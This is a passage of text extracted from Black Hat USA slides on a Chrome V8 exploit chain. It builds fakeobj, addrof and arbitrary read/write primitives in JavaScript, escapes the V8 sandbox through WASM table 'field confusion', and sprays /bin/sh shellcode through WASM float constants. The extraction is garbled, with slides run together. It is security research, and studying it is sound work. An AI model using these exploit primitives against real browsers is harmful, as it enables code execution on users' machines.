92、0116d71 000006f5-la0029001402148:12345671 00000002-la10.000 dd 0 x029012345678029012345678:deadbeef deadbeef-fakeobj0v8_read64(0 x12345678)-0 xdeadbeefdeadbeefLarge Array ElementsMapLengthPACKED_DOUBLE_ELEMENTS_MAPDEFAULT_JS_ARRAY_PROPERTIESArbitray_Addr|1 8Obj_Length-smi(1n)fakeobjArbitrary Address
93、fakeobj058#BHUSA BlackHatEventsFrom FakeObj to Exploitation Primitives:Arbitrary Writefunction v8_write(bit,addr,val)addr|=1n;addr-=FIXED_ARRAY_HEADER_SIZE;large_arr0=BigIntAsDouble(PACKED_DOUBLE_ELEMENTS_MAP|(DEFAULT_JS_ARRAY_PROPERTIES 32n);large_arr1=BigIntAsDouble(addr|(smi(1n)32n);if(bit=64)fak
94、e0=BigIntAsDouble(val);if(bit=32)let original=read64(addr);fake0=BigIntAsDouble(val|(original1 32n);large_arr1=BigIntAsDouble(0n|(smi(0n)dd(0 x029001402139-1)029001402138:00000879 0004000000116d71 000006f5-la0029001402148:12345671 00000002-la10.000 dd 0 x029012345678029012345678:13371337 deadbeef-fa
95、keobj00.000 dd 0 x029012345678029012345678:13371337 13371337-fakeobj0v8_write(32,0 x12345678,0 x13371337)v8_write(64,0 x12345678,0 x1337133713371337)Large Array ElementsMapLengthPACKED_DOUBLE_ELEMENTS_MAPDEFAULT_JS_ARRAY_PROPERTIESArbitray_Addr|1 8Obj_Length-smi(1n)fakeobjArbitrary Addressfakeobj059
96、#BHUSA BlackHatEventsFrom FakeObj to Exploitation Primitives:Addroffunction addrOf(obj)large_arr0=BigIntAsDouble(PACKED_ELEMENTS_MAP|(DEFAULT_JS_ARRAY_PROPERTIES 32n);large_arr1=BigIntAsDouble(FAKE_JS_ARRAY_ELEMENTS_ADDR|(smi(1n)32n);fake0=obj;let addr=DoubleAsBigInt(large_arr3)|(smi(0n)32n);return
97、addr;Large Array ElementsMapLengthPACKED_ELEMENTS_MAPDEFAULT_JS_ARRAY_PROPERTIESFake_Obj_ElementsObj_Length-smi(1n)fakeobjFake Obj ElementsFake_Obj_MapFake_Obj_Lengthobjobj:0 x0290001582e5 addrOf(obj)-0 x001582e50.000 dd(0 x029001402139-1)029001402138:00000879 0080000000116df1 000006f5-la00290014021
98、48:01402151 00000002-la100000565 00000000-la2029001402158:001582e5 01402141-la3Fakeobj060#BHUSA BlackHatEventsChrome VersionLarge Array LengthV8MInorMSLarge Array Element AddressM1220 x20000no0 x4421390 x482139M1230 x20000no0 x4421390 x482139M1220 x100000no0 x7c21390 x802139M1230 x100000no0 x7c21390
99、 x802139M1220 x400000no0 x13c21390 x1402139M1230 x400000no0 x13c21390 x1402139yes0 x1302139Chrome VersionV8MinorMSFree Chunk BasePACKED_DOUBLE_ELEMENTS_MAPPACKED_ELEMENTS_MAPM122no0 xc0000FREE_CHUNK_BASE+0 x56ac5PACKED_DOUBLE_ELEMENTS_MAP+0 x80M123no0 xc0000FREE_CHUNK_BASE+0 x56d71PACKED_DOUBLE_ELEM
100、ENTS_MAP+0 x80yes0 x200000Stability:From 90%to 99%-Are the Fixed Values Really Fixed?61#BHUSA BlackHatEventsLarge Array ElementLarge Array ElementStability:3 Possible Large Array Element AddressesLarge Array Element.Fake_object0 x013021390 x013021410 x013c2141Fake_object0 x013021390 x013c21390 x013c
101、2141Fake_object0 x013021390 x013c21390 x01402139Fake_objectFake_objectFake_objectAnchor_fakeobj_addr:0 x014021410 x014c2141Fake_object0 x014c2141Fake_object1stfake obj:Large_arr0+30 x01502141Fake_object2ndfake obj:Large_arr0 x8000+35thfake obj:Large_arr0 x8000*4+3Anchor_fakeobj_addr:0 x01402141Ancho
102、r_fakeobj_addr:0 x01402141625 fake objects evenly distributed with the gap 0 x40000(0 x8000*8)5 fake objects evenly distributed with the gap 0 x40000(0 x8000*8)5 fake objects evenly distributed with the gap 0 x40000(0 x8000*8)#BHUSA BlackHatEventsStability:Find the Index for 3 Possible Large Array E
103、lement Addressesfunction find_index()let index=-1;fakeobj0=1.1;for(let i=0;i5;i+)if(large_arr3+i*0 x8000!=BigIntAsDouble(FAKE_JS_ARRAY_ADDR|FAKE_JS_ARRAY_ADDR dd(0 x029001402139-1)029001402138:00000879 0080000000116d71 000006f5-la0+index029001402148:01402151 00000002-la1+index00000565 00000000-la2+i
104、ndex029001402158:00162fa1 01402141-la3+index&fake063#BHUSA BlackHatEventsScavenger:V8 current default young generation garbage collectorMinorMS:aka Minor Mark-Sweep,the new V8 young generation garbage collectorFree_Chunk_BaseStability:Scavenger vs MinorMS64#BHUSA BlackHatEvents When and why the Mino
105、rMS will be enabled?Is there a way to explicitly enable/disable MinorMS?Is there a way to identify MinorMS will be enabled or not?Is it possible to control the switch of MinorMS in the exploit?Does MinorMS impact your exploit?If yes,how?Is it possible to fit your exploit working under both Scavenger
106、 and MinorMS at the same time?Or is it really necessary?More secrets about MinorMS Homework for MinorMS65#BHUSA BlackHatEventsLet the WebAssemblyAssemble:The V8 Sandbox#BHUSA BlackHatEvents67V8 SandboxObject1Object2Address SpaceRaw pointer(64bits pointer)#BHUSA BlackHatEvents68V8 SandboxExternal Obj
107、ectObject1Object2Offset(From Sandbox base addr)Raw pointerAddress Space#BHUSA BlackHatEvents69V8 SandboxExternal Pointer Table0 Type+Pointer1 Type+PointerExternal ObjectObject1Object2OffsetIndexObject3Trusted Pointer Table0 Type+Pointer1 Type+PointerTrusted ObjectIndexObject4Code Pointer Table0Point
108、er1PointerExecutable ObjectIndexAddress Space#BHUSA BlackHatEventsLet the WebAssemblyAssemble:The WASM Internals#BHUSA BlackHatEvents71WASM Internals RWX Memory RegionWASM RWX MemoryMain Jump TableFar Jump TableCompiled codeCallTarget0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e40584520400 x3e4
109、0584520480 x3e40584520500 x3e40584520500 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e4058452847jmp qword ptrrip+0 x20 x7ffff3d23780jmp qword ptrrip+0 x20 x7ffff3d23c00pushrbpmovrbp,rsppush0 x8pushrsisubrsp,0 x10jmp 0 x3e4058452840jmp 0 x3e405845280ajmp 0 x3e4058452814var wasm_code
110、=new Uint8Array();var wasm_mod=newWebAssembly.Module(wasm_code);var wasm_instance=newWebAssembly.Instance(wasm_mod);var f_main=wasm_instance.exports.main;f_main();#BHUSA BlackHatEvents72WASM Internals Module and InstanceV8 SandboxTrusted Pointer Table0 Type+Pointer1 Type+PointerWasmInstanceObjectMap
111、Trusted Ptr Table IndexWasmModuleObjectWasmTrustedInstanceDataMapwasm_dispatch_tablejump_table_startWasmModuleObjectMapExternal Ptr Table IndexExternal Pointer Table0 Type+Pointer1 Type+PointerNativeModuleWasmModuleWasmModuleVectorAddress Space#BHUSA BlackHatEvents73WASM Internals Export FunctionsV8
112、 SandboxWasmExportFunctionMapSharedFunctionInfoSharedFunctionInfoMapWasmExportedFunctionDataWasmExportedFunctionDataMapWasmInternalFunctionWasmInstanceObjectFunction IndexWasmInternalFunctionMapWasmInstanceObjectExternalFunction IndexAddress Space#BHUSA BlackHatEvents74WASM Basics Table and Indirect
113、 Calllet wasm_code_0=new Uint8Array();let wasm_mod_0=newWebAssembly.Module(wasm_code_0);let wasm_instance_0=newWebAssembly.Instance(wasm_mod_0);indirect=wasm_instance_0.exports.indirect;(module(func$indirect(result f32)f32.const 0.015)(export indirect(func$indirect)#BHUSA BlackHatEvents75WASM Basics
114、 Table and Indirect Callconst tbl=new WebAssembly.Table(initial:1,element:anyfunc,maximum:10);const importObject=env:tbl;let wasm_code_1=new Uint8Array();let wasm_mod_1=newWebAssembly.Module(wasm_code_1);let wasm_instance_1=newWebAssembly.Instance(wasm_mod_1,importObject);tbl.set(0,indirect);wasm_in
115、stance_1.exports.main(1000);/15(module(type$whatever(func(result f32)(import env tbl(table$tb 1 funcref)(func$main(param$parametre f32)(result f32)(f32.mul(call_indirect(type$whatever)(i32.const 0)(local.get$parametre)(export main(func$main)#BHUSA BlackHatEvents76WasmExportFunctionMapSharedFunctionI
116、nfoSharedFunctionInfoMapWasmExportedFunctionDataWasmExportedFunctionDataMapWasmInternalFunctionWasmInstanceObjectFunction Indexvoid WasmTableObject:SetFunctionTableEntry(Isolate*isolate,Handle table,int entry_index,Handle entry).Handle external=WasmInternalFunction:GetOrCreateExternal(handle(WasmFun
117、cRef:cast(*entry)-internal(isolate),isolate);if(WasmExportedFunction:IsWasmExportedFunction(*external)auto exported_function=Handle:cast(external);Handle target_instance_data(exported_function-instance()-trusted_data(isolate),isolate);int func_index=exported_function-function_index();auto*wasm_funct
118、ion=&target_instance_data-module()-functionsfunc_index;UpdateDispatchTables(isolate,table,entry_index,wasm_function,target_instance_data);.tbl.set(0,indirect);wasm_instance_1.exports.main(1000);/15WASM Basics Table and Indirect Call#BHUSA BlackHatEvents77void WasmTableObject:SetFunctionTableEntry(Is
119、olate*isolate,Handle table,int entry_index,Handle entry).Handle external=WasmInternalFunction:GetOrCreateExternal(handle(WasmFuncRef:cast(*entry)-internal(isolate),isolate);if(WasmExportedFunction:IsWasmExportedFunction(*external)auto exported_function=Handle:cast(external);Handle target_instance_da
120、ta(exported_function-instance()-trusted_data(isolate),isolate);int func_index=exported_function-function_index();auto*wasm_function=&target_instance_data-module()-functionsfunc_index;UpdateDispatchTables(isolate,table,entry_index,wasm_function,target_instance_data);.tbl.set(0,indirect);wasm_instance
121、_1.exports.main(1000);/15WasmInstanceObjectMapTrusted Ptr Table IndexWasmModuleObjectWasmModuleObjectMapExternal Pointer Table0Type+Pointer1Type+PointerNativeModuleWasmModuleWasmModuleVectorWASM Basics Table and Indirect Call#BHUSA BlackHatEvents78void WasmTableObject:SetFunctionTableEntry(Isolate*i
122、solate,Handle table,int entry_index,Handle entry).Handle external=WasmInternalFunction:GetOrCreateExternal(handle(WasmFuncRef:cast(*entry)-internal(isolate),isolate);if(WasmExportedFunction:IsWasmExportedFunction(*external)auto exported_function=Handle:cast(external);Handle target_instance_data(expo
123、rted_function-instance()-trusted_data(isolate),isolate);int func_index=exported_function-function_index();auto*wasm_function=&target_instance_data-module()-functionsfunc_index;UpdateDispatchTables(isolate,table,entry_index,wasm_function,target_instance_data);.tbl.set(0,indirect);wasm_instance_1.expo
124、rts.main(1000);/15WASM Basics Table and Indirect Call#BHUSA BlackHatEvents79void WasmTableObject:UpdateDispatchTables(Isolate*isolate,Handle table,int entry_index,const wasm:WasmFunction*func,Handle target_instance_data).Address call_target=target_instance_data-GetCallTarget(func-func_index);.for(in
125、t i=0,len=uses-length();i get(i+TableUses:kIndexOffset).value();Handle instance_object=handle(WasmInstanceObject:cast(uses-get(i+TableUses:kInstanceOffset),isolate);.Tagged instance_data=instance_object-trusted_data(isolate);instance_data-dispatch_table(table_index)-Set(entry_index,*call_ref,call_ta
126、rget,sig_id);Trusted Pointer Table0 Type+Pointer1 Type+PointerWasmInstanceObjectMapTrusted Ptr Table IndexWasmModuleObjectWasmTrustedInstanceDataMapwasm_dispatch_tablejump_table_startdispatch_tablecall_targetIndex0WASM Basics Table and Indirect Call#BHUSA BlackHatEvents80WASM Instance 0 RWX MemoryMa
127、in Jump TableFar Jump TableCompiled code0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e40584520400 x3e40584520480 x3e40584520500 x3e40584520500 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e4058452847jmp qword ptrrip+0 x20 x7ffff3d23780jmp qword ptrrip+0 x20 x7ffff3d23c00pushrbpm
128、ovrbp,rsppush0 x8pushrsisubrsp,0 x10jmp 0 x3e40584528400 x00000000000 x0000000000Control of callTargetAddress WasmTrustedInstanceData:GetCallTarget(uint32_t func_index)wasm:NativeModule*native_module=module_object()-native_module();return jump_table_start()+JumpTableOffset(native_module-module(),fun
129、c_index);uint32_t JumpSlotIndexToOffset(uint32_t slot_index)uint32_t line_index=slot_index/kJumpTableSlotsPerLine;uint32_t line_offset=(slot_index%kJumpTableSlotsPerLine)*kJumpTableSlotSize;return line_index*kJumpTableLineSize+line_offset;WASM Internals Table and Indirect Call#BHUSA BlackHatEvents81
130、Main Jump TableFar Jump TableCompiled code0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e40584520400 x3e40584520480 x3e40584520500 x3e40584520500 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e4058452847jmp qword ptrrip+0 x20 x7ffff3d23780jmp qword ptrrip+0 x20 x7ffff3d23c00pushrb
131、pmovrbp,rsppush0 x8pushrsisubrsp,0 x10jmp 0 x3e40584528400 x00000000000 x0000000000tbl.set(0,indirect);wasm_instance_1.exports.main(1000);Accessjumpdispatch_tablecall_target of indirect functionIndex0WASM Instance 0 RWX MemoryWASM Internals Table and Indirect Call#BHUSA BlackHatEvents82Main Jump Tab
132、leFar Jump TableCompiled code0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e40584520400 x3e40584520480 x3e40584520500 x3e40584520500 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e4058452847jmp qword ptrrip+0 x20 x7ffff3d23780jmp qword ptrrip+0 x20 x7ffff3d23c00pushrbpmovrbp,rsppu
133、sh0 x8pushrsisubrsp,0 x10jmp 0 x3e40584528400 x00000000000 x0000000000Control of func_indexControl of callTargetControl flow Hijacking primitive inside RWX memoryAddress WasmTrustedInstanceData:GetCallTarget(uint32_t func_index)wasm:NativeModule*native_module=module_object()-native_module();return j
134、ump_table_start()+JumpTableOffset(native_module-module(),func_index);Control of callTargetWASM Instance 0 RWX MemoryWASM Internals Table and Indirect Call#BHUSA BlackHatEventsLet the WebAssemblyAssemble:The Sandbox Escape#BHUSA BlackHatEvents84V8 Sandbox Escape The SetupWASM Module 0WASM Module 1WAS
135、M Module 2(module(func$indirect(result f32)f32.const 0.015)(export indirect(func$indirect)(module(type$whatever(func(result f32)(import env tbl(table$tb 1 funcref)(func$exploit(param$parametre f32)(result f32)(f32.mul(call_indirect(type$whatever)(i32.const 0)(local.get$parametre)(export”exploit(func
136、$exploit)(module(func(export f0)nop)(func(export f1)nop)(func(export f2)nop)(func(export f3)nop)(func(export fN)(result f32)f32.const 0.015)#BHUSA BlackHatEvents85V8 Sandbox Escape Field ConfusionV8 SandboxTrusted Pointer Table0 Type+Pointer1 Type+PointerWasm Trusted Instance 0 DataMapwasm_dispatch_
137、tableWasm Instance 0MapTrusted Ptr Table IndexWasmModuleObjectWasm Module 0MapWasm Instance 2MapTrusted Ptr Table IndexWasmModuleObjectWasm Module 2MapWasm Trusted Instance 1 DataMapwasm_dispatch_tableUsing arb read/writeAddress Space#BHUSA BlackHatEvents86V8 Sandbox Escape Field ConfusionV8 Sandbox
138、Trusted Pointer Table0 Type+Pointer1 Type+PointerWasm Trusted Instance 0 DataMapwasm_dispatch_tableWasm Instance 0MapTrusted Ptr Table IndexWasmModuleObjectWasm Module 0MapWasm Instance 2MapTrusted Ptr Table IndexWasmModuleObjectWasm Module 2MapWasm Trusted Instance 1 DataMapwasm_dispatch_tableAddre
139、ss Space#BHUSA BlackHatEvents87V8 Sandbox Escape Index ChangeV8 Sandbox“indirect”FunctionMapSharedFunctionInfo“indirect”Shared InfoMapWasmExportedFunctionData“indirect”Function DataMapWasmInternalFunctionWasm Instance 0Index=0Address Space#BHUSA BlackHatEvents88V8 Sandbox Escape Index ChangeV8 Sandb
140、ox“indirect”FunctionMapSharedFunctionInfo“indirect”Shared InfoMapWasmExportedFunctionData“indirect”Function DataMapWasmInternalFunctionWasm Instance 0Index=NUsing arb read/writeAddress Space#BHUSA BlackHatEvents89V8 Sandbox EscapeV8 SandboxAddress SpaceTrusted Pointer Table0Type+Pointer1Type+Pointer
141、Wasm Trusted Instance 0 DataMapwasm_dispatch_tableWasm Instance 0MapTrusted Ptr Table IndexWasmModuleObjectWasm Module 2Map“indirect”FunctionMapSharedFunctionInfo“indirect”Shared InfoMapWasmExportedFunctionData“indirect”Function DataMapWasmInternalFunctionWasm Instance 0Index=N#BHUSA BlackHatEvents9
142、0V8 Sandbox Escapevoid WasmTableObject:SetFunctionTableEntry(Isolate*isolate,Handle table,int entry_index,Handle entry).Handle external=WasmInternalFunction:GetOrCreateExternal(handle(WasmFuncRef:cast(*entry)-internal(isolate),isolate);if(WasmExportedFunction:IsWasmExportedFunction(*external)auto ex
143、ported_function=Handle:cast(external);Handle target_instance_data(exported_function-instance()-trusted_data(isolate),isolate);int func_index=exported_function-function_index();auto*wasm_function=&target_instance_data-module()-functionsfunc_index;UpdateDispatchTables(isolate,table,entry_index,wasm_fu
144、nction,target_instance_data);.func_index=Nmodule2-functionsNtbl.set(0,indirect);wasm_instance_1.exports.exploit(1337);Instance data of Instance 0#BHUSA BlackHatEvents91void WasmTableObject:UpdateDispatchTables(Isolate*isolate,Handle table,int entry_index,const wasm:WasmFunction*func,Handle target_in
145、stance_data).Address call_target=target_instance_data-GetCallTarget(func-func_index);.for(int i=0,len=uses-length();i get(i+TableUses:kIndexOffset).value();Handle instance_object=handle(WasmInstanceObject:cast(uses-get(i+TableUses:kInstanceOffset),isolate);.Tagged instance_data=instance_object-trust
146、ed_data(isolate);instance_data-dispatch_table(table_index)-Set(entry_index,*call_ref,call_target,sig_id);WASM Internals Table and Indirect Callfunc=confused wasm function from module 2Instance data of Instance 0#BHUSA BlackHatEvents92V8 Sandbox Escape-EscapingMain Jump TableCompiled code0 x3e4058452
147、0000 x3e40584520050 x3e405845200a0 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e40584528470 x3e405845284e0 x3e40584528520 x3e40584528580 x3e405845285e0 x3e40584528630 x3e40584528670 x3e405845286c0 x3e4058452872pushrbpmovrbp,rsppush0 x8pushrsisubrsp,0 x10cmprsp,QWORD PTR r13-0 x60jb
148、e0 x3e405845287bmovr10d,0 x3c75c28fvmovdxmm0,r10dmovr10,QWORD PTR rsi+0 x67subDWORD PTR r10+0 x4,0 x23js0 x3e4058452886vmovss xmm1,xmm1,xmm0jmp 0 x3e40584528400 x00000000000 x0000000000dispatch_tableNullNullIndex01tbl.set(0,indirect);wasm_instance_1.exports.exploit(1337);WASM Instance 0 RWX Memory#B
149、HUSA BlackHatEvents93V8 Sandbox Escape-EscapingMain Jump TableCompiled code0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e40584528470 x3e405845284e0 x3e40584528520 x3e40584528580 x3e405845285e0 x3e40584528630 x3e40584528670 x3e405845286c
150、0 x3e4058452872pushrbpmovrbp,rsppush0 x8pushrsisubrsp,0 x10cmprsp,QWORD PTR r13-0 x60jbe0 x3e405845287bmovr10d,0 x3c75c28fvmovdxmm0,r10dmovr10,QWORD PTR rsi+0 x67subDWORD PTR r10+0 x4,0 x23js0 x3e4058452886vmovss xmm1,xmm1,xmm0jmp 0 x3e40584528400 x00000000000 x0000000000dispatch_tablecallTarget=jmp
151、_table_start+NNullIndex01tbl.set(0,indirect);wasm_instance_1.exports.exploit(1337);WASM Instance 0 RWX Memory#BHUSA BlackHatEvents94V8 Sandbox Escape-EscapingMain Jump TableCompiled code0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e4058
152、4528470 x3e405845284e0 x3e40584528520 x3e40584528580 x3e405845285e0 x3e40584528630 x3e40584528670 x3e405845286c0 x3e4058452872pushrbpmovrbp,rsppush0 x8pushrsisubrsp,0 x10cmprsp,QWORD PTR r13-0 x60jbe0 x3e405845287bmovr10d,0 x3c75c28fvmovdxmm0,r10dmovr10,QWORD PTR rsi+0 x67subDWORD PTR r10+0 x4,0 x23
153、js0 x3e4058452886vmovss xmm1,xmm1,xmm0jmp 0 x3e40584528400 x00000000000 x0000000000dispatch_tablecallTarget=jmp_table_start+NNullIndex01tbl.set(0,indirect);wasm_instance_1.exports.exploit(1337);Accessjmp_table_start+NjumpControl Flow Hijacking primitiveWASM Instance 0 RWX Memory#BHUSA BlackHatEvents
154、95V8 Sandbox Escape Code ExecutionControl Flow Hijacking primitiveCode ExecutionWAT Code64bit ASMLiftoff Compiler(func(export spray)(result f64)f64.const 1.63052427775809e-270f64.const 1.6181477236817195e-270f64.const 1.6177848829038078e-270f64.const 1.630523884017562e-270)movabs r10,0 x7eb909090909
155、090vmovqxmm0,r10movabs r10,0 x7eb5b0068732f68vmovqxmm1,r10movabs r10,0 x7eb596e69622f68vmovqxmm2,r10movabs r10,0 x7eb909020e3c148vmovqxmm3,r#BHUSA BlackHatEvents96V8 Sandbox Escape-Code ExecutionWASM Module 0(module(func(export spray)(result f64)f64.const 1.63052427775809e-270f64.const 1.61814772368
156、17195e-270f64.const 1.6177848829038078e-270f64.const 1.630523884017562e-270f64.const 1.6305240634909753e-270f64.const 1.6175077909294658e-270f64.const 1.6456885606567564e-270f64.const 1.6305242777505848e-270dropdropdropdropdropdropdrop)(func$indirect(result f32)f32.const 0.015)(export indirect(func$
157、indirect)Main Jump TableCompiled code0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e40584528400 x3e40584528410 x3e40584528440 x3e40584528460 x3e40584528470 x3e405845284e0 x3e40584528520 x3e40584528580 x3e40584528620 x3e40584528670 x3e40584528710 x3e40584528760 x3e4058452880push rbpmov rbp,rsppush
158、 0 x8push rsisub rsp,0 x10cmprsp,QWORD PTR r13-0 x60jbe0 x379ded7718eamovabs r10,0 x7eb909090909090vmovqxmm0,r10movabs r10,0 x7eb5b0068732f68vmovqxmm1,r10movabs r10,0 x7eb596e69622f68vmovqxmm2,r10jmp 0 x3e4058452840jmp 0 x3e405845280a0 x0000000000WASM Instance 0 RWX Memory#BHUSA BlackHatEvents97V8 S
159、andbox Escape-Code ExecutionMain Jump TableCompiled code0 x3e40584520000 x3e40584520050 x3e405845200a0 x3e405845285b0 x3e405845285c0 x3e405845285d0 x3e405845285e0 x3e405845285f0 x3e40584528600 x3e40584528690 x3e405845286e0 x3e405845286f0 x3e40584528780 x3e405845287dnopnopnopnopnopjmp0 x3e4058452869p
160、ush 0 x68732f“/sh”pop rbxjmp0 x3e4058452878push 0 x6e69622f“/bin”pop rcxjmp 0 x3e4058452840jmp 0 x3e405845280a0 x0000000000tbl.set(0,indirect);wasm_instance_1.exports.exploit(1337);Control Flow Hijacking primitiveJump to shellcodeWASM Instance 0 RWX Memory#BHUSA BlackHatEventsPutting It All Together
161、 A OOB read vulnerability-a variant of CVE-2023-4427 From a OOB read vulnerability to the fakeobj primitive by controlling the offset of the OOB read and using some advanced heap manipulation techniques From the fakeobj primitive to more powerful exploit primitives:addrof,arbitrary read,arbitrary wr
162、ite elegantly solving the exploit stability issues Use those exploit primitives for“field confusion”and hijack WASM call target address to jump into a controlled offset of the WASM RWX memory to execute the shellcode directly outside the V8 sandbox Fit both Chrome and Chromium based MSEdge for a dou
163、ble tap98#BHUSA BlackHatEvents99Demo#BHUSA BlackHatEventsSummary&Takeaways History doesnt repeat itself,but it rhymes Bugs are the same,how to(effectively and efficiently)predict and discover the rhyming word worth more explorations A great exploit is an art The exploitation ideas and techniques are
164、 universal and can be applied to other(similar)vulnerability exploitations Exploring the big gap between a working exploit and a close to 100%success rate exploit is a necessary way to be a master “Field confusion”inside the V8 sandbox would possiblylead the way to a new V8 sandbox escape era Think
165、about the defense for above all like an exploiter 100#BHUSA BlackHatEventsQ&A#BHUSA BlackHatEvents102References1 OffensiveCon24-Samuel Gro-The V8 Heap Sandbox https:/youtu.be/5otAw81AHQ0?si=fFzTt8W4lSNggAC42 Fast For-In in V8-Camillo Bruni https:/v8.dev/blog/fast-for-in3 Maps(Hidden Classes)in V8 https:/v8.dev/docs/hidden-classes4 CVE-2023-4427-Sergei Glazunov https:/bugs.chromium.org/p/project-zero/issues/detail?id=24775 Patch CVE-2023-4427:https:/chromium- Patch CVE-2023-3159:https:/chromium- Patch V8 Sandbox Escape:https:/chromium-